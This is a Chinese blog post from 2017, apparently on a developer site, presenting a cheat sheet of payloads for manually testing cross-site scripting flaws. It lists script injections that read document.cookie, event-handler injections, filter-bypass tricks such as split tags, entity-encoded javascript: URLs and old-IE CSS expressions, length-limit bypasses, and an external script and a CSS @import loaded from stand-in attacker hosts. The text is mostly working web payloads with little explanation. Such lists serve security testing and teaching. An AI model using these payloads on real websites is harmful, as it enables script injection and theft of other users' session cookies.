XSS漏洞手工检测

xss漏洞手工检测

2017年12月14日 17:44:57

1、基本检测

'"<>&空格 \\看有没有逃逸
常用语句
"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)
<script>alert("XSS")</script>
<script src="http://xss.io/a.js"></script>
<div onclick="alert('xss')">
<div onmouseenter="alert('xss')">

2、绕过技巧

常用绕过

另一个绕过的办法就是在属性和= 之间插入一个空格:
<div onclick ="alert('xss')">
<scr<script>ipt>alert("XSS")</scr<script>ipt>
行内样式
<div style="color: expression(alert('XSS'))">
<div style="color: '<'; color: expression(alert('XSS'))">
<a href="java&#115;cript:alert('xss')">link</a>     //url中输入
<a href='vbscript:MsgBox("XSS")'>link</a>       //老IE或者兼容模式的IE11
'-confirm`1`-'
'-confirm(1)-'

利用字符编码
%c1;alert(/xss/);//

绕过长度限制
"onclick=alert(1)//
"><!--
--><script>alert(xss);<script>

CSS import绕过
IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行

<style>
@import url("http://attacker.org/malicious.css");
</style>
malicious.css:
body {
    color: expression(alert('XSS'));
}
为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:
<style>
@imp\ort url("http://attacker.org/malicious.css");
</style>
IE 浏览器会接受反斜杠,但是我们绕过了过滤器。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值